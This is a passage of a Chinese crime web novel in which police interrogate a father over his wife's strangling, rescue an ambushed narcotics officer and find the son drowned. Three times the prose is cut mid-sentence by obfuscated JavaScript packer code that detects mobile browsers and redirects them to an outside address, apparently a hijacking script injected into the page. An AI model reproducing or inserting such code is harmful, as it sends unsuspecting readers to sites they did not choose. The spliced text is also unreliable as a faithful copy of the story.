“父子”这两个字眼似乎刺痛了庞冬凌,撬开了他硬憋着不口吐芬芳的嘴。 “见个屁!”嘴瘾过完后他又很快冷静下来,不耐烦地加了一句,“他就给我打过电话,我们没见面。” “酒店附近的路上到处都是交通摄像头,找到庞伟的车只是时间问题。”周烬川不带任何语气地开口,“除非你儿子有本事让整座城市的变压器都发生自然故障。” 观察室里,顾霁禾正若有所思地看着庞冬凌。他的表情很值得考究,惊讶、意外、怨恨、不可置信......好像都没有,或者说好像都过于明显,导致乱七八糟混在一块九九归一了。 庞冬凌这个边缘人物,顾霁禾记得她只用了一笔——庞伟追求美好生活的助力以及动力。 她当时甚至懒得给他取名字。在鎏金和潘如萱一见钟情,出于绝对的信任迎接庞伟的到来,此后作为万千普通家庭的顶梁柱之一。但他们家的情况其实已经在普通之上了。 周烬川的话音落地后,庞冬凌陷入长久的沉默。此时沈峋手底下压着的正是他手机里的信息,包括昨天晚上和庞伟不到一分钟的通话记录以及被刻意删除的庞伟让他去地下停车场的微信。 “是。”庞冬凌忽然放松下来,视线轻轻扫过周烬川和沈峋,“那个女人骗了我快三十年!我气不过!” “爸,你应酬结束了吗?我有急事!” “什么事啊大半夜的?你不会还泡在实验室吧?赶紧回去睡觉,身体要紧。” “是妈的事,我现在就去酒店找你!” 庞冬凌本以为庞伟会来酒店和他说什么事,正打算开一间房,没想到他竟然让他直接上车。当时潘如萱就坐在副驾,庞伟开车回家。 路上,潘如萱支支吾吾地说出了压心底的秘密,本就有些醉意的庞冬凌一股怒火窜到嗓子眼,等他回过神来的时候手里已经攥着皮带。 当时一切都太快了,庞伟一个急刹反而让副驾上的人彻底没了挣扎。 冷静下来后,父子俩决定把尸体运回家,伪装成她是在家里惨遭上门小偷或者抢劫犯的毒手。 给潘如萱换衣服的时候,庞冬凌由于太紧张撕烂了她的衬衫,干脆就把那套衣服带走丢掉了。 “感觉还是有点多余。”顾霁禾低声说。 宋林汐一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545249|204114||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸疑惑地扭过头:“哪里多余?” 顾霁禾抬手撑着下巴,缓缓道:“他既然只是想让我们以为潘如萱是在家里被害的,为什么一定要给她换衣服呢?” 虽然一开始尸体的衣着和状态确实让顾霁禾下意识以为潘如萱就是在家里遇害的,可仔细想想,就算她穿着平常的衣服,在没有证据的情况下,大部分人第一反应都会认为那里就是案发现场。睡衣的出现对于周烬川这样的奇葩来说反而起了反作用。 “可能是为了配合死亡时间吧。”宋林汐猜测道。 确实有这个可能。毕竟潘如萱深受庞冬凌的影响,把钟表刻进了骨子里,那个时间点她确实应该已经躺在床上了。 周烬川问:“皮带呢?” “我……我塞进庞伟书包里,过一座桥的时候扔河里了。” “说清楚是哪条路,哪座桥。” 沈峋话音刚落,一名禁毒警行色匆匆敲开审讯室的门,在周烬川耳边说了什么后,他脸色一变冲出特侦部。宋林汐和顾霁禾连忙走出观察室。 “陆队在查抄星芒云阶的时候去追两个毒贩,到现在都还联系不上……” 没等禁毒警说完,沈峋已然往门口跑去:“林汐去定位卓诚的手机。” 星芒云阶是个地下酒吧,陆卓诚的线人盯了将近一个月才守到今天晚上的交易,一切部署到位,却还是让两个拿刀乱砍的家伙逃走了。 陆卓诚七拐八弯地追着那两个人影跑进一个死胡同。今天晚上的月亮真不给力,在这么个伸手勉强见一指的鬼地方,耳边毫无方向的风告诉他: 中招了。 身后的路被一帮不知天高地厚扛着棒槌握着刀子的混混堵住,前面的墙还真有点高,以陆卓诚……以一个正常成年男子的弹跳力翻出去是不太可能的。 陆卓诚转过身扫了一眼,指尖悄然碰到腰间的枪。 不到半秒的反应时间里,那群家伙恶狼似的扑了过来。 陆卓诚侧身避开当头砸来的黑棍,右手扣住对方手臂,咔嚓一声骨裂混着痛呼炸开。几乎同时,他矮身避开左边的横扫,手肘狠狠撞向右边人胸口,那人轰然摔地,他顺势夺过空中掉落的黑棍回身一记侧劈,棍端精准砸在一人手腕上。 那群人越来越密,仿佛是当惯了黑夜里的瞎子,只要循着呼吸声就能清楚地分辨哪个是同伴,哪个是警察。 然而下一秒,月亮似乎不想再看这出好戏,使唤着云层把自己裹起来。陆卓诚终究不是鹰,也没有闻到血腥就更加亢奋的毛病,这群家伙不要命似的左冲右撞,他只觉得痛感越来越弱了,脑袋也开始发沉。 再不动枪就要没命了。 就在这个念头即将撞破他脑袋的时候,前面突然亮起车灯,那群耗子受了惊般抬手捂眼,陆卓诚眼疾手快夺过贴着脖子的匕首,拎着那人肩膀当作人肉沙包甩了出去,刹那间撞翻两个人。 这群不知死活的再怎么凶神恶煞,也就是一些竹竿似的愣头青,为首的那两个大哥早就不知道躲哪里去了。 陆卓诚真得感谢不知道从哪里冒出来的汽车让他终于不用盲打了。就在他庆幸自己还是有点运气的时候,背后有个不长眼的玩意当风劈下。 砰! 15. 我是凶手(十四) 所有人都一哆嗦顿在原地,连陆卓诚都愣了两秒—— 刚刚不知道在什么地方朝天开了一枪的周烬川已经冲进人群,哐哐两声,被迎头一击的两个混混轰然倒地。 还站得住脚的人里不知道谁喊了一声,畏光的耗子开始四处逃窜,没等冲出车灯笼罩的光圈,红蓝光亮混着警笛声堵住了唯一的出口。 “没带枪吗?”周烬川罕见得表现出愠怒。 陆卓诚倏地一愣,若无其事地回了句:“来不及掏。” 那群人非常配合地排队钻进警车,与此同时沈峋小跑着冲了过来,急急忙忙扫了一眼并没有破相的陆卓诚,想用言语把他推进救护车。 陆卓诚当没听见似的叉腰叹气:“我想抓的人还是跑了,这帮家伙最多就是来凑热闹的,可惜今晚又不能睡觉了。” 说完他用十分的劲头在沈峋肩膀上一拍,眨眼就跟着一众警车回市局了。 沈峋总算松了口气,随后意味深长地看了一眼周烬川。 几乎是宋林汐定位到陆卓诚手机的第一时间,他就一脚油门飙到现场,愣是把大部队甩在身后。 对面禁毒部灯火通明,这边进行到一半的庞氏父子“杀妻杀母案”也还在继续。可怜顾霁禾一个小小的实习生也是体会到了熬夜查案的痛苦。 哪条路、哪座桥,庞冬凌说什么都想不起来。精神高度紧张加上黑夜,大脑罢工倒也正常,现在只能寄希望于庞伟的行车记录仪或者无所不能但茫茫无际的交通摄像头了。 然而通宵一夜的结果并不如人意。 “在潘如萱和庞伟的手机里都找到了他们家客厅完整的监控数据。”宋林汐看向周烬川和顾霁禾,当时他们和潘如萱对话的场景被毫无保留地存档。 不过庞冬凌从始至终都没有提到这件事,他甚至不知道警察上门找过潘如萱,更不知道毕千峰已经死了。 “死了?”庞冬凌听到毕千峰的死讯时瞳孔微缩,无缝衔接一声轻笑,“死了好啊,可惜没让他们一家三口团聚。” 他在说这句话的时候,眼神里是分外清明的享受,似乎所有仇怨和憎恨于他而言,都能随着死亡这个自然铁律画上句点。 死亡真的能结束一切吗? 许清宴拿着报告单敲进会议室:“潘如萱指甲缝里的皮屑确认来自庞伟的汽车座椅,但是根据庞冬凌的证词,我并没有在副驾上找到疑似挣扎抓握的痕迹,反而这个痕迹出现在了驾驶座上。” “设卡抓人。”周烬川毫不犹豫地对沈峋说,“我们去医院。” 不出周烬川所料,病房里早就没了庞伟的影子,监控只拍到一个全副武装的可疑身影在昨天晚上走出医院。 在受害人和嫌疑人的身份之间来回跳跃的庞伟,跑了。 “没有汽车,你觉得他是会冒险逃走,还是找个地方藏起来?”沈峋问道。 片刻后,周烬川淡淡地说:“一半一半吧。” 沈峋看了他一眼,发现他正盯着监控画面上的时间,身影离开的时候是九点三十三分,恰好和他们赶去支援陆卓诚的时间段重合。 巧合吗? 沈峋若有所思地说:“当时庞冬凌交代完,我应该马上让人来医院看着庞伟,可卓诚那边……” 按照庞冬凌的证词,庞伟只是帮忙处理尸体。 沈峋忽地想到什么看向周烬川:“你那个时候是不是就觉得不对劲了?” “开车的人不对?”市局观察室里,宋林汐一脸疑惑地看着顾霁禾。 顾霁禾点点头说:“潘如萱和庞伟的最后一顿晚餐,庞伟是喝了酒的,一个母亲在正常情况下怎么会让喝了酒的儿子开车呢?” 也许庞伟去找庞冬凌的时候,潘如萱已经死了。 “是潘如萱开的车,庞伟坐在后座用皮带勒死了她。”许清宴赞同道,“这样就能解释出现在驾驶座椅上的抓痕了。” 宋林汐不可思议地回过头,看着审讯室里的庞冬凌:“难道他一直都在演戏?” 演一场得知真相后情绪崩溃杀妻杀子的戏,为了……替非亲生儿子顶罪吗? 顾霁禾欣赏着庞冬凌此刻的表情,喉咙发紧,眼神慌乱,全然不是一个坦白后的犯罪分子应该有的状态。 他在担心庞伟逃不出去吗? 揣摩嫌疑人心思的活对宋林汐来说还是有点乏味,她干脆转身:“我还是继续去看监控吧。” “我去看看他的毒检报告出来了没有。”许清宴跟着往门口走去。 然而门却抢先一步被推开,陆卓诚一脸严肃地走进来,扫了一眼观察室后问:“周烬川呢?” 那群小崽子纯粹是用力气和胆量换点解瘾的燃料,一问三不知,不知者无畏。奋战一夜后,陆卓诚终于从一个有过前科的大头嘴里榨出点有用信息。 “交易提前了?”沈峋举着手机看了一眼开车的周烬川。 “听他的意思本来应该是下个月。”陆卓诚说,“当时接到那俩领头的通知,这帮家伙也没好好准备,要不然来的人会更多。” 驾驶座上传来一声讥诮:“那还真是可惜了。” “是啊,劳您白白浪费了一发子弹。” “……”沈峋第N次后悔打开免提。 不过下一秒陆卓诚就正经起来:“我的人查到,星芒云阶里面不只有简单的毒品交易,那两个跑掉的人手里的货是什么还不清楚。人我继续去追了,祝你们好运。” “你小心点。”沈峋话音刚落对面就挂了电话。 交易提前,恰巧就是他们审庞冬凌的时候。把陆卓诚引到死胡同并喊人围攻,恰巧就是他们应该去守住庞伟的时候。 哪来那么多巧合? “是庞冬凌为了帮儿子逃走提前和他们说好了坦白的时间,还是......”还是在庞冬凌坦白的瞬间,有人把消息透露给了交易的人? 沈峋没有说下去,周烬川也心照不宣,此刻的他在思考另一件事。 奋战一小时,顾霁禾终于填满了昨天和今天的实习报告,尽她所能没有写连笔字,而且严格参照周烬川办案笔记的格式。她就不信这样还能被他挑出错来! 周烬川有一个习惯,他喜欢拆解凶手以及嫌疑人的一切行为,在他眼里,那些企图自己或者帮助别人逃脱法律制裁的人,不会有任何多余的举动。 如果庞冬凌没有把庞伟掐晕,他们父子就会一起进警局,不过那是在找到绝对的证据之后。 可实际上,顾霁禾和周烬川在外面跑了一天也只得到潘如萱和庞伟在外面吃过饭的信息。庞冬凌手机里的东西也不能算证据,他完全可以不承认。 凶器已毁,唯一能够称得上线索的还是庞伟汽车驾驶座上的抓痕。 顾霁禾合上记录本,路过监控室用眼神向一脸专注的宋林汐打了个招呼,然后敲了敲法医实验室的门。 庞冬凌的毒检报告已经出来了,结果是未检出,许清宴正在做核对。 近些年除了似药非药似毒非毒的鬼东西归识,好像又出现了一些能让人上瘾的新东西。 等许清宴签完字后,顾霁禾开口问道:“许法医,一个人被勒住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550093|204114||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脖子的时候,第一反应不应该是去抓脖子上的东西吗?” “这个并不绝对,每个人反抗挣扎的方式都不一样。”许清宴抬起头看着顾霁禾,“而且有些力气特别大的凶手,受害人甚至来不及反抗就死了。” 顾霁禾陷入沉默。 “你问这个,是对潘如萱指甲缝里的皮屑起疑吗?” 不能说是,也不能说不是,顾霁禾也说不上来哪里不对劲。 “潘如萱的伤口真的和毕千峰的一模一样吗?”顾霁禾接着问。 如果凶手不是同一个人,这个巧合也太令人毛骨悚然了。 许清宴思考了一会,说:“我也想不通,但目前为止只能归结于巧合了。除非让苏刚去灭口毕千峰的人就是他们父子。” “但如果是这样的话,他们完全可以再让他去杀了潘如萱,真正伪造成入室抢劫杀人。” 如今唯一的突破口就是庞冬凌。 “你说人是你勒死的,那条皮带是哪来的?你自己的吗?” 面对沈峋的问题,庞冬凌没有回答,反而用藏着几分期待的目光看着对面的两人,问:“那个野种怎么样了?” 此时距离庞伟失去音讯已经将近十八个小时,那个身影从医院出来后就好像人间蒸发了一样。 周烬川往后一靠,指尖不经意地在桌面上敲了敲,一言不发打量着庞冬凌—— 这个人,不像是一般意义上的嫌疑人。 沈峋拿出两张照片,一个光头,一个刀疤脸,疑似是昨晚在星芒云阶牵头交易并在陆卓诚眼皮子底下跑走的人。 “这两个人认识吗?” 庞冬凌轻轻一扫:“不认识。” “这个呢?” 面对苏刚的照片,庞冬凌仍旧没有任何反应。 “你希望他怎么样?”周烬川忽然开口,“是逃脱杀人帮凶的罪名,还是作为主犯永远见不得光地活下去?” 庞冬凌猛地顿住,也不知道是没反应过来还是被周烬川的话问住了。 过了好一会他才冷笑着说:“警官,人是我杀的,那小子只是帮我弄坏监控……” “那你为什么要杀他?”周烬川打断道,“杀人成瘾了?” 庞冬凌的嘴角抽搐了一下,似乎在极力克制怒火,低哑着嗓音说:“你要是知道自己养了二十几年的儿子不是亲生的,你不会愤怒吗?你不会恨吗?你不会想……” “为什么要在我们的眼皮子底下杀他?”周烬川再次打断,“庞冬凌,激情杀人后能在第一时间反应过来伪造现场,让自己的儿子破坏电路,消灭证据若无其事回到公司,再让自己的儿子去报案。说明你是个有点脑子的人——” “庞伟到底跟你说了什么,让你在我们的监视下再次动手?”周烬川缓缓向前,“还是,是你对庞伟说了什么?” 庞冬凌的喉结上下一滚。 沈峋拿出他的口供:“喝酒不开车的道理三岁小孩都知道。那天晚上你和庞伟都喝了酒,唯一一个能做驾驶员的人为什么会坐在副驾呢?就算庞伟出于某种原因真的想酒后驾车,潘如萱挣扎的痕迹又怎么会出现在驾驶座上呢?” “庞冬凌。”沈峋盯着他的眼睛,“你确定还要坚持之前的口供吗?” 庞冬凌的眼睛本来就因为太久没睡而布满血丝,沈峋的话砸过来之后,他瞳孔猛地一缩,血丝瞬间绷紧,像是要渗出血来。 咚咚咚—— 周烬川起身走出审讯室。 宋林汐一脸凝重:“周队,响水河发现了一具尸体,是庞伟。” 16. 我是凶手(十五) “爸,为什么要给妈换衣服?” “得让警察相信,你妈是在家里死的。” 庞伟的躯体浮肿得有些走形,青灰色的皮肤绷得发亮,口鼻处黏着几缕淡白色泡沫。 “初步判断死亡时间在十二个小时以上。溺毙的可能性很大。”许清宴看了一眼黑沉沉的河面,“我先回去解剖。” 响水河位于郊区,以前天热的时候会有一些艺高胆大的人来游野泳,后来附近工厂扩建,河水污染严重,渐渐就无人问津了。 如果不是正好撞见一对想不通来这里约会的高中生小情侣,庞伟的尸体恐怕还要随波逐流一段时间才会被发现。 沈峋无声地望着打捞队,就着缓缓斜来的夕阳皱起眉头。 王明艳和毕千峰的案子尚未侦破,苏刚至今下落不明,好不容易锁定杀害潘如萱的凶手,他却死了。 冥冥之中,似乎总有一条线把所有的受害者都串了起来。 “沈队,没有发现死者的手机。” 白板上又多了一张死者的照片。 “庞伟穿的衣服和医院监控拍到的那个人一样,现在基本能确定,昨晚九点三十三分离开医院的人就是庞伟。”伟大的城市交通摄像头并没有给宋林汐带来好运,“或许他有意避开了摄像头,在那之后,我没有发现他的踪迹。” “死者肺部呈水性肺气肿状态,胸腔腹腔内有少量腐败产气,可以断定为溺死,死亡时间在十六到十八个小时之间。”许清宴放下尸检报告,两手撑着桌面看向白板,“所以大概率庞伟从医院出来后就在河里溺死了。” “死者的双手没有抓握痕迹,指甲缝里也没有出现皮肤组织和衣物碎屑,但是他的肩胛骨区域出现了形态规则的挫伤,初步判断他是在毫无防备的情况下被人推下去的。不过死者的血检报告还没出来,目前不清楚那个时候他的意识是否清醒。” 沈峋退了几步到办公桌前,拿起水杯猛灌一口,缓了缓才说:“医院到响水河大概四十分钟车程,那样的情况下,他打车或者坐公共交通工具的可能性都不高。” “比较讲得通的解释就是有人去接了他。那个人或许本来要带他逃走,但不知道为什么让他溺死在了河里,而且还拿走了他的手机。” “难怪技术部一直没有办法定位到他。”宋林汐看着庞伟的照片,脑海里莫名浮现出毕千峰的脸,“诶,周队和顾姐姐呢?” 第二次和周烬川坐在一起审讯,顾霁禾简直比嫌疑人还要紧张。进门的瞬间她就决定这一次绝不多嘴,乖乖做他的听众就好。 庞冬凌在看到一个文静的短发小姑娘后反倒有些放松,这也许就是周烬川让她过来的原因。 “首先很不幸地通知你,你的……”周烬川说到一半突然停住,抬头看着庞冬凌,“你养了二十几年的儿子死了。” 庞冬凌一时错愣,仿佛一下子失去了对中文的理解能力,将近半分钟的沉默里,他就像一张被定格的照片。 周烬川也没有再说下去,只是静静地等着,欣赏着他的表情。 “死了?”庞冬凌不明缘由发出一声轻笑,眼眶瞬间翻红,紧接着便有雾气蒙住瞳孔,“死了好啊,我养了他这么多年也够了……” 他的声音发颤,话音一落就低下了头。 顾霁禾抿紧嘴唇,悄悄瞥一眼周烬川,发现他仍旧无动于衷,似乎是在等嫌疑人自己交代真正的真相。 一滴泪落在手铐上。 “萱萱不是我杀的……”庞冬凌低着头,语带哭腔,“是阿伟。” 那天晚上庞冬凌打开车门,看见潘如萱倒在后座,他来不及开口就被庞伟催促着上车。 他当时以为潘如萱只是睡着了,他不想打扰她,于是坐进副驾。可庞伟愣是把车往荒郊野外开,他才发觉不对劲硬逼着他把车停下。 “阿伟说,你们去找过他,说他的亲生父亲不是我。”庞冬凌缓缓抬起头,两道清晰的泪痕刻在脸上,“那孩子打小就敏感,怪我对他要求太高,总觉得让他活得很不自在。” “他说晚上和萱萱吃饭的时候喝了点酒,当时萱萱提了一嘴这个事,他气得直接把酒瓶摔了。后来回家路上,萱萱终于把事情完完整整告诉了他,他一下子没法接受,就、就......” 庞冬凌的脸快速抽搐了一下,连喘几口大气才冷静下来:“那孩子也不知道该怎么和我开口,一开始就想把萱萱载到郊外埋了。后来是我给出的主意把她带回家,再后来的事你们都知道了。” “我给萱萱换衣服,是因为阿伟把她搬到后座的时候把衣服弄破了,我怕你们会在衣服上查出什么。我掐他也是做戏,我以为他被送去医院再想办法逃走就安全了。” 故意装出一副想让潘如萱和庞伟这对背叛他的母子在地下团聚的仇怨模样,甚至不惜动手掐人让警方把注意力转移到自己身上,好让儿子以完全受害者的身份完美隐身。 好响的算盘。 “你知道真相的时候,没有恨吗?” 庞冬凌被周烬川问得一愣,半晌才缓缓说:“我爱他们娘俩,阿伟是我一天天看着长大的,我怎么忍心让他……他还那么年轻,我就无所谓了,能和萱萱早点团聚也挺好的。” 庞冬凌忽然激动起来,手铐哗啦作响:“阿伟是怎么死的?阿伟是怎么死的?你告诉我!你告诉我!” “溺死的。”周烬川面无表情道。 “溺……”庞冬凌像是被突然抽走所有力气,瘫软在椅子上,瞳孔发颤,“他小时候溺过水,从那以后就特别害怕,他怎么可能……” 他自言自语了好一会才颤抖着嗓音问:“是意外吗?” 周烬川没有回答,把目光投向顾霁禾。 “?”顾霁禾一脸惊讶,只是此刻周烬川的眼神分明是在说:“该你了。” 她脑子里还在过着庞冬凌新一轮的证词,突如其来的任务让她强行恢复出厂设置,迎了一眼周烬川冰冷的目光,带着几分不确定说:“目前来看不是意外的可能性很大。” “你这么精彩的谋划,应该早就帮庞伟铺好了退路吧?那个去医院接他的人是谁?或许就是他害死了庞伟。” 庞冬凌眨巴着眼睛,眼里的红意渐渐褪去,愣了几秒才说:“我……我没有让人去医院接他啊。” 难道是庞伟给自己找的退路?还是灭口毕千峰和谢大通的人依旧没有收手? 没等顾霁禾开口,庞冬凌往前一倾,不可置信道:“你的意思是有人要害阿伟?不可能!他……他在外面惹事了?不可能啊!他怎么会惹事呢?” 顾霁禾看了一眼周烬川,他显然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17553957|204114||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有开口的打算,于是她只好再次“口出狂言”:“他的亲生父亲在外面惹事了,他可能也得被一起带走吧。至于你,包庇罪是免不了的,以后还是好好生活下去吧。” 庞冬凌极轻地应了一声。 走出审讯室后,周烬川冷冷开口:“也许你该好好反省一下。” 顾霁禾脚步一顿,一脸不解地扭过头,她真担心刚刚又犯了什么喜提千字检讨的错误。 周烬川看着她的眼睛:“记住了,永远不要被案件相关人员牵着鼻子走,嫌疑人不用说,哪怕是受害人也不行。” 顾霁禾倏地愣住。谁让刚刚旁边的人像尊雕塑似的一言不发了呢? “那师兄,如果是你的话,你会怎么回答庞冬凌?” 周烬川没有马上开口,静默几秒后往后退了一步,在他们彼此间拉出一段舒适的安全距离:“你是审讯的人,没有回答嫌犯问题的义务。话套不出来就避开,不知道该说什么就反问回去,守住你自己的位置。” 顾霁禾瞳孔微缩,心跳莫名加快,微仰着的脖颈有点发酸。 “现在告诉我,我会怎么回答。” 顾霁禾轻微垂眼避开周烬川的目光,试探性开口:“他……他在外面有没有惹事,难道你会不知道吗?” 周烬川并没有对这个回答做出任何评价,面无表情地话锋一转:“今天下班之前把这几天的实习报告给我看,我通过了才能走。” 说完他留下一个轻飘飘的背影,顾霁禾这才长舒一口气。 晚上十点半,顾霁禾终于拖着快散架的躯干和枯竭的大脑打开家门,迎接妈妈刚煮好的爱心牛肉面。 上了班才知道下班回家吃口现成的热乎饭是多么幸福的一件事!再冲个澡钻进被窝,放空脑袋刷刷甜美小短剧,顺便跟陈渡吐槽一下比她高中班主任还尽职尽责的周队长。 然而一看时间……很好,再过六个小时就要准时坐在工位上了。顾霁禾不舍地扔掉手机。黑暗中,脑细胞却又莫名活了过来。 “他说晚上和萱萱吃饭的时候喝了点酒,当时萱萱提了一嘴这个事,他气得直接把酒瓶摔了。后来回家路上,萱萱终于把事情完完整整告诉了他,他一下子没法接受......” 不太对。 顾霁禾忽地坐起身靠在床头。 周烬川和沈峋第一次去找庞伟的时候,他的反应分明是愤怒多于惊讶,说明那个时候他就有所察觉了。如果在餐厅里潘如萱已经坦白,又有什么必要只留个话口专门等到开车的时候再说? 就算真的多此一举,以庞伟的性子,以他对自己未来的追求,真的能弃大好前程于不顾冲动杀人吗? 在他的观念里,他的父亲一直都是庞冬凌,对于作为家庭主妇的母亲也十分尊重,所谓背叛情绪转化而成的杀意,用在另一个人身上应该更合适吧? “我老公有点精神洁癖,什么时间做什么事一定要精确到分秒。” “一个有着精神洁癖的人,能容忍自己被骗着戴了二十几年的绿帽子吗?” “你真的相信两个全方位无死角的监控是为了防小偷?” “你的意思是有人要害阿伟?他在外面惹事了?” “永远不要被案件相关人员牵着鼻子走。” “我爱他们娘俩。”